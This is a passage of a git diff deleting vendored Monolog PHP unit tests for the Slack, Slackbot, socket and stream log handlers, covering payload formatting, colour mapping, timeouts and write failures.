$this->assertGreaterThan(4000, $count); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/Slack/SlackRecordTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/Slack/SlackRecordTest.php deleted file mode 100644 index b9de736792..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/Slack/SlackRecordTest.php +++ /dev/null @@ -1,395 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\Slack; - -use Monolog\Logger; -use Monolog\TestCase; - -/** - * @coversDefaultClass Monolog\Handler\Slack\SlackRecord - */ -class SlackRecordTest extends TestCase -{ - private $jsonPrettyPrintFlag; - - protected function setUp() - { - $this->jsonPrettyPrintFlag = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 128; - } - - public function dataGetAttachmentColor() - { - return array( - array(Logger::DEBUG, SlackRecord::COLOR_DEFAULT), - array(Logger::INFO, SlackRecord::COLOR_GOOD), - array(Logger::NOTICE, SlackRecord::COLOR_GOOD), - array(Logger::WARNING, SlackRecord::COLOR_WARNING), - array(Logger::ERROR, SlackRecord::COLOR_DANGER), - array(Logger::CRITICAL, SlackRecord::COLOR_DANGER), - array(Logger::ALERT, SlackRecord::COLOR_DANGER), - array(Logger::EMERGENCY, SlackRecord::COLOR_DANGER), - ); - } - - /** - * @dataProvider dataGetAttachmentColor - * @param int $logLevel - * @param string $expectedColour RGB hex color or name of Slack color - * @covers ::getAttachmentColor - */ - public function testGetAttachmentColor($logLevel, $expectedColour) - { - $slackRecord = new SlackRecord(); - $this->assertSame( - $expectedColour, - $slackRecord->getAttachmentColor($logLevel) - ); - } - - public function testAddsChannel() - { - $channel = '#test'; - $record = new SlackRecord($channel); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayHasKey('channel', $data); - $this->assertSame($channel, $data['channel']); - } - - public function testNoUsernameByDefault() - { - $record = new SlackRecord(); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayNotHasKey('username', $data); - } - - /** - * @return array - */ - public function dataStringify() - { - $jsonPrettyPrintFlag = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 128; - - $multipleDimensions = array(array(1, 2)); - $numericKeys = array('library' => 'monolog'); - $singleDimension = array(1, 'Hello', 'Jordi'); - - return array( - array(array(), '[]'), - array($multipleDimensions, json_encode($multipleDimensions, $jsonPrettyPrintFlag)), - array($numericKeys, json_encode($numericKeys, $jsonPrettyPrintFlag)), - array($singleDimension, json_encode($singleDimension)) - ); - } - - /** - * @dataProvider dataStringify - */ - public function testStringify($fields, $expectedResult) - { - $slackRecord = new SlackRecord( - '#test', - 'test', - true, - null, - true, - true - ); - - $this->assertSame($expectedResult, $slackRecord->stringify($fields)); - } - - public function testAddsCustomUsername() - { - $username = 'Monolog bot'; - $record = new SlackRecord(null, $username); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayHasKey('username', $data); - $this->assertSame($username, $data['username']); - } - - public function testNoIcon() - { - $record = new SlackRecord(); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayNotHasKey('icon_emoji', $data); - } - - public function testAddsIcon() - { - $record = $this->getRecord(); - $slackRecord = new SlackRecord(null, null, false, 'ghost'); - $data = $slackRecord->getSlackData($record); - - $slackRecord2 = new SlackRecord(null, null, false, 'http://github.com/Seldaek/monolog'); - $data2 = $slackRecord2->getSlackData($record); - - $this->assertArrayHasKey('icon_emoji', $data); - $this->assertSame(':ghost:', $data['icon_emoji']); - $this->assertArrayHasKey('icon_url', $data2); - $this->assertSame('http://github.com/Seldaek/monolog', $data2['icon_url']); - } - - public function testAttachmentsNotPresentIfNoAttachment() - { - $record = new SlackRecord(null, null, false); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayNotHasKey('attachments', $data); - } - - public function testAddsOneAttachment() - { - $record = new SlackRecord(); - $data = $record->getSlackData($this->getRecord()); - - $this->assertArrayHasKey('attachments', $data); - $this->assertArrayHasKey(0, $data['attachments']); - $this->assertInternalType('array', $data['attachments'][0]); - } - - public function testTextEqualsMessageIfNoAttachment() - { - $message = 'Test message'; - $record = new SlackRecord(null, null, false); - $data = $record->getSlackData($this->getRecord(Logger::WARNING, $message)); - - $this->assertArrayHasKey('text', $data); - $this->assertSame($message, $data['text']); - } - - public function testTextEqualsFormatterOutput() - { - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter - ->expects($this->any()) - ->method('format') - ->will($this->returnCallback(function ($record) { return $record['message'] . 'test'; })); - - $formatter2 = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter2 - ->expects($this->any()) - ->method('format') - ->will($this->returnCallback(function ($record) { return $record['message'] . 'test1'; })); - - $message = 'Test message'; - $record = new SlackRecord(null, null, false, null, false, false, array(), $formatter); - $data = $record->getSlackData($this->getRecord(Logger::WARNING, $message)); - - $this->assertArrayHasKey('text', $data); - $this->assertSame($message . 'test', $data['text']); - - $record->setFormatter($formatter2); - $data = $record->getSlackData($this->getRecord(Logger::WARNING, $message)); - - $this->assertArrayHasKey('text', $data); - $this->assertSame($message . 'test1', $data['text']); - } - - public function testAddsFallbackAndTextToAttachment() - { - $message = 'Test message'; - $record = new SlackRecord(null); - $data = $record->getSlackData($this->getRecord(Logger::WARNING, $message)); - - $this->assertSame($message, $data['attachments'][0]['text']); - $this->assertSame($message, $data['attachments'][0]['fallback']); - } - - public function testMapsLevelToColorAttachmentColor() - { - $record = new SlackRecord(null); - $errorLoggerRecord = $this->getRecord(Logger::ERROR); - $emergencyLoggerRecord = $this->getRecord(Logger::EMERGENCY); - $warningLoggerRecord = $this->getRecord(Logger::WARNING); - $infoLoggerRecord = $this->getRecord(Logger::INFO); - $debugLoggerRecord = $this->getRecord(Logger::DEBUG); - - $data = $record->getSlackData($errorLoggerRecord); - $this->assertSame(SlackRecord::COLOR_DANGER, $data['attachments'][0]['color']); - - $data = $record->getSlackData($emergencyLoggerRecord); - $this->assertSame(SlackRecord::COLOR_DANGER, $data['attachments'][0]['color']); - - $data = $record->getSlackData($warningLoggerRecord); - $this->assertSame(SlackRecord::COLOR_WARNING, $data['attachments'][0]['color']); - - $data = $record->getSlackData($infoLoggerRecord); - $this->assertSame(SlackRecord::COLOR_GOOD, $data['attachments'][0]['color']); - - $data = $record->getSlackData($debugLoggerRecord); - $this->assertSame(SlackRecord::COLOR_DEFAULT, $data['attachments'][0]['color']); - } - - public function testAddsShortAttachmentWithoutContextAndExtra() - { - $level = Logger::ERROR; - $levelName = Logger::getLevelName($level); - $record = new SlackRecord(null, null, true, null, true); - $data = $record->getSlackData($this->getRecord($level, 'test', array('test' => 1))); - - $attachment = $data['attachments'][0]; - $this->assertArrayHasKey('title', $attachment); - $this->assertArrayHasKey('fields', $attachment); - $this->assertSame($levelName, $attachment['title']); - $this->assertSame(array(), $attachment['fields']); - } - - public function testAddsShortAttachmentWithContextAndExtra() - { - $level = Logger::ERROR; - $levelName = Logger::getLevelName($level); - $context = array('test' => 1); - $extra = array('tags' => array('web')); - $record = new SlackRecord(null, null, true, null, true, true); - $loggerRecord = $this->getRecord($level, 'test', $context); - $loggerRecord['extra'] = $extra; - $data = $record->getSlackData($loggerRecord); - - $attachment = $data['attachments'][0]; - $this->assertArrayHasKey('title', $attachment); - $this->assertArrayHasKey('fields', $attachment); - $this->assertCount(2, $attachment['fields']); - $this->assertSame($levelName, $attachment['title']); - $this->assertSame( - array( - array( - 'title' => 'Extra', - 'value' => sprintf('```%s```', json_encode($extra, $this->jsonPrettyPrintFlag)), - 'short' => false - ), - array( - 'title' => 'Context', - 'value' => sprintf('```%s```', json_encode($context, $this->jsonPrettyPrintFlag)), - 'short' => false - ) - ), - $attachment['fields'] - ); - } - - public function testAddsLongAttachmentWithoutContextAndExtra() - { - $level = Logger::ERROR; - $levelName = Logger::getLevelName($level); - $record = new SlackRecord(null, null, true, null); - $data = $record->getSlackData($this->getRecord($level, 'test', array('test' => 1))); - - $attachment = $data['attachments'][0]; - $this->assertArrayHasKey('title', $attachment); - $this->assertArrayHasKey('fields', $attachment); - $this->assertCount(1, $attachment['fields']); - $this->assertSame('Message', $attachment['title']); - $this->assertSame( - array(array( - 'title' => 'Level', - 'value' => $levelName, - 'short' => false - )), - $attachment['fields'] - ); - } - - public function testAddsLongAttachmentWithContextAndExtra() - { - $level = Logger::ERROR; - $levelName = Logger::getLevelName($level); - $context = array('test' => 1); - $extra = array('tags' => array('web')); - $record = new SlackRecord(null, null, true, null, false, true); - $loggerRecord = $this->getRecord($level, 'test', $context); - $loggerRecord['extra'] = $extra; - $data = $record->getSlackData($loggerRecord); - - $expectedFields = array( - array( - 'title' => 'Level', - 'value' => $levelName, - 'short' => false, - ), - array( - 'title' => 'Tags', - 'value' => sprintf('```%s```', json_encode($extra['tags'])), - 'short' => false - ), - array( - 'title' => 'Test', - 'value' => $context['test'], - 'short' => false - ) - ); - - $attachment = $data['attachments'][0]; - $this->assertArrayHasKey('title', $attachment); - $this->assertArrayHasKey('fields', $attachment); - $this->assertCount(3, $attachment['fields']); - $this->assertSame('Message', $attachment['title']); - $this->assertSame( - $expectedFields, - $attachment['fields'] - ); - } - - public function testAddsTimestampToAttachment() - { - $record = $this->getRecord(); - $slackRecord = new SlackRecord(); - $data = $slackRecord->getSlackData($this->getRecord()); - - $attachment = $data['attachments'][0]; - $this->assertArrayHasKey('ts', $attachment); - $this->assertSame($record['datetime']->getTimestamp(), $attachment['ts']); - } - - public function testContextHasException() - { - $record = $this->getRecord(Logger::CRITICAL, 'This is a critical message.', array('exception' => new \Exception())); - $slackRecord = new SlackRecord(null, null, true, null, false, true); - $data = $slackRecord->getSlackData($record); - $this->assertInternalType('string', $data['attachments'][0]['fields'][1]['value']); - } - - public function testExcludeExtraAndContextFields() - { - $record = $this->getRecord( - Logger::WARNING, - 'test', - array('info' => array('library' => 'monolog', 'author' => 'Jordi')) - ); - $record['extra'] = array('tags' => array('web', 'cli')); - - $slackRecord = new SlackRecord(null, null, true, null, false, true, array('context.info.library', 'extra.tags.1')); - $data = $slackRecord->getSlackData($record); - $attachment = $data['attachments'][0]; - - $expected = array( - array( - 'title' => 'Info', - 'value' => sprintf('```%s```', json_encode(array('author' => 'Jordi'), $this->jsonPrettyPrintFlag)), - 'short' => false - ), - array( - 'title' => 'Tags', - 'value' => sprintf('```%s```', json_encode(array('web'))), - 'short' => false - ), - ); - - foreach ($expected as $field) { - $this->assertNotFalse(array_search($field, $attachment['fields'])); - break; - } - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SlackHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SlackHandlerTest.php deleted file mode 100644 index b12b01f45b..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SlackHandlerTest.php +++ /dev/null @@ -1,155 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; -use Monolog\Handler\Slack\SlackRecord; - -/** - * @author Greg Kedzierski - * @see https://api.slack.com/ - */ -class SlackHandlerTest extends TestCase -{ - /** - * @var resource - */ - private $res; - - /** - * @var SlackHandler - */ - private $handler; - - public function setUp() - { - if (!extension_loaded('openssl')) { - $this->markTestSkipped('This test requires openssl to run'); - } - } - - public function testWriteHeader() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/api\/chat.postMessage HTTP\/1.1\\r\\nHost: slack.com\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - } - - public function testWriteContent() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegExp('/username=Monolog/', $content); - $this->assertRegExp('/channel=channel1/', $content); - $this->assertRegExp('/token=myToken/', $content); - $this->assertRegExp('/attachments/', $content); - } - - public function testWriteContentUsesFormatterIfProvided() - { - $this->createHandler('myToken', 'channel1', 'Monolog', false); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->createHandler('myToken', 'channel1', 'Monolog', false); - $this->handler->setFormatter(new LineFormatter('foo--%message%')); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test2')); - fseek($this->res, 0); - $content2 = fread($this->res, 1024); - - $this->assertRegexp('/text=test1/', $content); - $this->assertRegexp('/text=foo--test2/', $content2); - } - - public function testWriteContentWithEmoji() - { - $this->createHandler('myToken', 'channel1', 'Monolog', true, 'alien'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/icon_emoji=%3Aalien%3A/', $content); - } - - /** - * @dataProvider provideLevelColors - */ - public function testWriteContentWithColors($level, $expectedColor) - { - $this->createHandler(); - $this->handler->handle($this->getRecord($level, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/%22color%22%3A%22'.$expectedColor.'/', $content); - } - - public function testWriteContentWithPlainTextMessage() - { - $this->createHandler('myToken', 'channel1', 'Monolog', false); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/text=test1/', $content); - } - - public function provideLevelColors() - { - return array( - array(Logger::DEBUG, urlencode(SlackRecord::COLOR_DEFAULT)), - array(Logger::INFO, SlackRecord::COLOR_GOOD), - array(Logger::NOTICE, SlackRecord::COLOR_GOOD), - array(Logger::WARNING, SlackRecord::COLOR_WARNING), - array(Logger::ERROR, SlackRecord::COLOR_DANGER), - array(Logger::CRITICAL, SlackRecord::COLOR_DANGER), - array(Logger::ALERT, SlackRecord::COLOR_DANGER), - array(Logger::EMERGENCY,SlackRecord::COLOR_DANGER), - ); - } - - private function createHandler($token = 'myToken', $channel = 'channel1', $username = 'Monolog', $useAttachment = true, $iconEmoji = null, $useShortAttachment = false, $includeExtra = false) - { - $constructorArgs = array($token, $channel, $username, $useAttachment, $iconEmoji, Logger::DEBUG, true, $useShortAttachment, $includeExtra); - $this->res = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\SlackHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $constructorArgs - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - - $this->handler->setFormatter($this->getIdentityFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SlackWebhookHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SlackWebhookHandlerTest.php deleted file mode 100644 index c9229e26f3..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SlackWebhookHandlerTest.php +++ /dev/null @@ -1,107 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; -use Monolog\Handler\Slack\SlackRecord; - -/** - * @author Haralan Dobrev - * @see https://api.slack.com/incoming-webhooks - * @coversDefaultClass Monolog\Handler\SlackWebhookHandler - */ -class SlackWebhookHandlerTest extends TestCase -{ - const WEBHOOK_URL = 'https://hooks.slack.com/services/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E'; - - /** - * @covers ::__construct - * @covers ::getSlackRecord - */ - public function testConstructorMinimal() - { - $handler = new SlackWebhookHandler(self::WEBHOOK_URL); - $record = $this->getRecord(); - $slackRecord = $handler->getSlackRecord(); - $this->assertInstanceOf('Monolog\Handler\Slack\SlackRecord', $slackRecord); - $this->assertEquals(array( - 'attachments' => array( - array( - 'fallback' => 'test', - 'text' => 'test', - 'color' => SlackRecord::COLOR_WARNING, - 'fields' => array( - array( - 'title' => 'Level', - 'value' => 'WARNING', - 'short' => false, - ), - ), - 'title' => 'Message', - 'mrkdwn_in' => array('fields'), - 'ts' => $record['datetime']->getTimestamp(), - ), - ), - ), $slackRecord->getSlackData($record)); - } - - /** - * @covers ::__construct - * @covers ::getSlackRecord - */ - public function testConstructorFull() - { - $handler = new SlackWebhookHandler( - self::WEBHOOK_URL, - 'test-channel', - 'test-username', - false, - ':ghost:', - false, - false, - Logger::DEBUG, - false - ); - - $slackRecord = $handler->getSlackRecord(); - $this->assertInstanceOf('Monolog\Handler\Slack\SlackRecord', $slackRecord); - $this->assertEquals(array( - 'username' => 'test-username', - 'text' => 'test', - 'channel' => 'test-channel', - 'icon_emoji' => ':ghost:', - ), $slackRecord->getSlackData($this->getRecord())); - } - - /** - * @covers ::getFormatter - */ - public function testGetFormatter() - { - $handler = new SlackWebhookHandler(self::WEBHOOK_URL); - $formatter = $handler->getFormatter(); - $this->assertInstanceOf('Monolog\Formatter\FormatterInterface', $formatter); - } - - /** - * @covers ::setFormatter - */ - public function testSetFormatter() - { - $handler = new SlackWebhookHandler(self::WEBHOOK_URL); - $formatter = new LineFormatter(); - $handler->setFormatter($formatter); - $this->assertSame($formatter, $handler->getFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SlackbotHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SlackbotHandlerTest.php deleted file mode 100644 index b1b02bde30..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SlackbotHandlerTest.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @author Haralan Dobrev - * @see https://slack.com/apps/A0F81R8ET-slackbot - * @coversDefaultClass Monolog\Handler\SlackbotHandler - */ -class SlackbotHandlerTest extends TestCase -{ - /** - * @covers ::__construct - */ - public function testConstructorMinimal() - { - $handler = new SlackbotHandler('test-team', 'test-token', 'test-channel'); - $this->assertInstanceOf('Monolog\Handler\AbstractProcessingHandler', $handler); - } - - /** - * @covers ::__construct - */ - public function testConstructorFull() - { - $handler = new SlackbotHandler( - 'test-team', - 'test-token', - 'test-channel', - Logger::DEBUG, - false - ); - $this->assertInstanceOf('Monolog\Handler\AbstractProcessingHandler', $handler); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SocketHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SocketHandlerTest.php deleted file mode 100644 index 5361f33c6f..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SocketHandlerTest.php +++ /dev/null @@ -1,335 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @author Pablo de Leon Belloc - */ -class SocketHandlerTest extends TestCase -{ - /** - * @var Monolog\Handler\SocketHandler - */ - private $handler; - - /** - * @var resource - */ - private $res; - - /** - * @expectedException UnexpectedValueException - */ - public function testInvalidHostname() - { - $this->createHandler('garbage://here'); - $this->writeRecord('data'); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testBadConnectionTimeout() - { - $this->createHandler('localhost:1234'); - $this->handler->setConnectionTimeout(-1); - } - - public function testSetConnectionTimeout() - { - $this->createHandler('localhost:1234'); - $this->handler->setConnectionTimeout(10.1); - $this->assertEquals(10.1, $this->handler->getConnectionTimeout()); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testBadTimeout() - { - $this->createHandler('localhost:1234'); - $this->handler->setTimeout(-1); - } - - public function testSetTimeout() - { - $this->createHandler('localhost:1234'); - $this->handler->setTimeout(10.25); - $this->assertEquals(10.25, $this->handler->getTimeout()); - } - - public function testSetWritingTimeout() - { - $this->createHandler('localhost:1234'); - $this->handler->setWritingTimeout(10.25); - $this->assertEquals(10.25, $this->handler->getWritingTimeout()); - } - - public function testSetChunkSize() - { - $this->createHandler('localhost:1234'); - $this->handler->setChunkSize(1025); - $this->assertEquals(1025, $this->handler->getChunkSize()); - } - - public function testSetConnectionString() - { - $this->createHandler('tcp://localhost:9090'); - $this->assertEquals('tcp://localhost:9090', $this->handler->getConnectionString()); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testExceptionIsThrownOnFsockopenError() - { - $this->setMockHandler(array('fsockopen')); - $this->handler->expects($this->once()) - ->method('fsockopen') - ->will($this->returnValue(false)); - $this->writeRecord('Hello world'); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testExceptionIsThrownOnPfsockopenError() - { - $this->setMockHandler(array('pfsockopen')); - $this->handler->expects($this->once()) - ->method('pfsockopen') - ->will($this->returnValue(false)); - $this->handler->setPersistent(true); - $this->writeRecord('Hello world'); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testExceptionIsThrownIfCannotSetTimeout() - { - $this->setMockHandler(array('streamSetTimeout')); - $this->handler->expects($this->once()) - ->method('streamSetTimeout') - ->will($this->returnValue(false)); - $this->writeRecord('Hello world'); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testExceptionIsThrownIfCannotSetChunkSize() - { - $this->setMockHandler(array('streamSetChunkSize')); - $this->handler->setChunkSize(8192); - $this->handler->expects($this->once()) - ->method('streamSetChunkSize') - ->will($this->returnValue(false)); - $this->writeRecord('Hello world'); - } - - /** - * @expectedException RuntimeException - */ - public function testWriteFailsOnIfFwriteReturnsFalse() - { - $this->setMockHandler(array('fwrite')); - - $callback = function ($arg) { - $map = array( - 'Hello world' => 6, - 'world' => false, - ); - - return $map[$arg]; - }; - - $this->handler->expects($this->exactly(2)) - ->method('fwrite') - ->will($this->returnCallback($callback)); - - $this->writeRecord('Hello world'); - } - - /** - * @expectedException RuntimeException - */ - public function testWriteFailsIfStreamTimesOut() - { - $this->setMockHandler(array('fwrite', 'streamGetMetadata')); - - $callback = function ($arg) { - $map = array( - 'Hello world' => 6, - 'world' => 5, - ); - - return $map[$arg]; - }; - - $this->handler->expects($this->exactly(1)) - ->method('fwrite') - ->will($this->returnCallback($callback)); - $this->handler->expects($this->exactly(1)) - ->method('streamGetMetadata') - ->will($this->returnValue(array('timed_out' => true))); - - $this->writeRecord('Hello world'); - } - - /** - * @expectedException RuntimeException - */ - public function testWriteFailsOnIncompleteWrite() - { - $this->setMockHandler(array('fwrite', 'streamGetMetadata')); - - $res = $this->res; - $callback = function ($string) use ($res) { - fclose($res); - - return strlen('Hello'); - }; - - $this->handler->expects($this->exactly(1)) - ->method('fwrite') - ->will($this->returnCallback($callback)); - $this->handler->expects($this->exactly(1)) - ->method('streamGetMetadata') - ->will($this->returnValue(array('timed_out' => false))); - - $this->writeRecord('Hello world'); - } - - public function testWriteWithMemoryFile() - { - $this->setMockHandler(); - $this->writeRecord('test1'); - $this->writeRecord('test2'); - $this->writeRecord('test3'); - fseek($this->res, 0); - $this->assertEquals('test1test2test3', fread($this->res, 1024)); - } - - public function testWriteWithMock() - { - $this->setMockHandler(array('fwrite')); - - $callback = function ($arg) { - $map = array( - 'Hello world' => 6, - 'world' => 5, - ); - - return $map[$arg]; - }; - - $this->handler->expects($this->exactly(2)) - ->method('fwrite') - ->will($this->returnCallback($callback)); - - $this->writeRecord('Hello world'); - } - - public function testClose() - { - $this->setMockHandler(); - $this->writeRecord('Hello world'); - $this->assertInternalType('resource', $this->res); - $this->handler->close(); - $this->assertFalse(is_resource($this->res), "Expected resource to be closed after closing handler"); - } - - public function testCloseDoesNotClosePersistentSocket() - { - $this->setMockHandler(); - $this->handler->setPersistent(true); - $this->writeRecord('Hello world'); - $this->assertTrue(is_resource($this->res)); - $this->handler->close(); - $this->assertTrue(is_resource($this->res)); - } - - /** - * @expectedException \RuntimeException - */ - public function testAvoidInfiniteLoopWhenNoDataIsWrittenForAWritingTimeoutSeconds() - { - $this->setMockHandler(array('fwrite', 'streamGetMetadata')); - - $this->handler->expects($this->any()) - ->method('fwrite') - ->will($this->returnValue(0)); - - $this->handler->expects($this->any()) - ->method('streamGetMetadata') - ->will($this->returnValue(array('timed_out' => false))); - - $this->handler->setWritingTimeout(1); - - $this->writeRecord('Hello world'); - } - - private function createHandler($connectionString) - { - $this->handler = new SocketHandler($connectionString); - $this->handler->setFormatter($this->getIdentityFormatter()); - } - - private function writeRecord($string) - { - $this->handler->handle($this->getRecord(Logger::WARNING, $string)); - } - - private function setMockHandler(array $methods = array()) - { - $this->res = fopen('php://memory', 'a'); - - $defaultMethods = array('fsockopen', 'pfsockopen', 'streamSetTimeout'); - $newMethods = array_diff($methods, $defaultMethods); - - $finalMethods = array_merge($defaultMethods, $newMethods); - - $this->handler = $this->getMock( - '\Monolog\Handler\SocketHandler', $finalMethods, array('localhost:1234') - ); - - if (!in_array('fsockopen', $methods)) { - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - } - - if (!in_array('pfsockopen', $methods)) { - $this->handler->expects($this->any()) - ->method('pfsockopen') - ->will($this->returnValue($this->res)); - } - - if (!in_array('streamSetTimeout', $methods)) { - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - } - - if (!in_array('streamSetChunkSize', $methods)) { - $this->handler->expects($this->any()) - ->method('streamSetChunkSize') - ->will($this->returnValue(8192)); - } - - $this->handler->setFormatter($this->getIdentityFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/StreamHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/StreamHandlerTest.php deleted file mode 100644 index ba4c31551a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/StreamHandlerTest.php +++ /dev/null @@ -1,184 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class StreamHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWrite() - { - $handle = fopen('php://memory', 'a+'); - $handler = new StreamHandler($handle); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord(Logger::WARNING, 'test')); - $handler->handle($this->getRecord(Logger::WARNING, 'test2')); - $handler->handle($this->getRecord(Logger::WARNING, 'test3')); - fseek($handle, 0); - $this->assertEquals('testtest2test3', fread($handle, 100)); - } - - /** - * @covers Monolog\Handler\StreamHandler::close - */ - public function testCloseKeepsExternalHandlersOpen() - { - $handle = fopen('php://memory', 'a+'); - $handler = new StreamHandler($handle); - $this->assertTrue(is_resource($handle)); - $handler->close(); - $this->assertTrue(is_resource($handle)); - } - - /** - * @covers Monolog\Handler\StreamHandler::close - */ - public function testClose() - { - $handler = new StreamHandler('php://memory'); - $handler->handle($this->getRecord(Logger::WARNING, 'test')); - $streamProp = new \ReflectionProperty('Monolog\Handler\StreamHandler', 'stream'); - $streamProp->setAccessible(true); - $handle = $streamProp->getValue($handler); - - $this->assertTrue(is_resource($handle)); - $handler->close(); - $this->assertFalse(is_resource($handle)); - } - - /** - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteCreatesTheStreamResource() - { - $handler = new StreamHandler('php://memory'); - $handler->handle($this->getRecord()); - } - - /** - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteLocking() - { - $temp = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'monolog_locked_log'; - $handler = new StreamHandler($temp, Logger::DEBUG, true, null, true); - $handler->handle($this->getRecord()); - } - - /** - * @expectedException LogicException - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteMissingResource() - { - $handler = new StreamHandler(null); - $handler->handle($this->getRecord()); - } - - public function invalidArgumentProvider() - { - return array( - array(1), - array(array()), - array(array('bogus://url')), - ); - } - - /** - * @dataProvider invalidArgumentProvider - * @expectedException InvalidArgumentException - * @covers Monolog\Handler\StreamHandler::__construct - */ - public function testWriteInvalidArgument($invalidArgument) - { - $handler = new StreamHandler($invalidArgument); - } - - /** - * @expectedException UnexpectedValueException - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteInvalidResource() - { - $handler = new StreamHandler('bogus://url'); - $handler->handle($this->getRecord()); - } - - /** - * @expectedException UnexpectedValueException - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteNonExistingResource() - { - $handler = new StreamHandler('ftp://foo/bar/baz/'.rand(0, 10000)); - $handler->handle($this->getRecord()); - } - - /** - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteNonExistingPath() - { - $handler = new StreamHandler(sys_get_temp_dir().'/bar/'.rand(0, 10000).DIRECTORY_SEPARATOR.rand(0, 10000)); - $handler->handle($this->getRecord()); - } - - /** - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteNonExistingFileResource() - { - $handler = new StreamHandler('file://'.sys_get_temp_dir().'/bar/'.rand(0, 10000).DIRECTORY_SEPARATOR.rand(0, 10000)); - $handler->handle($this->getRecord()); - } - - /** - * @expectedException Exception - * @expectedExceptionMessageRegExp /There is no existing directory at/ - * @covers Monolog\Handler\StreamHandler::__construct 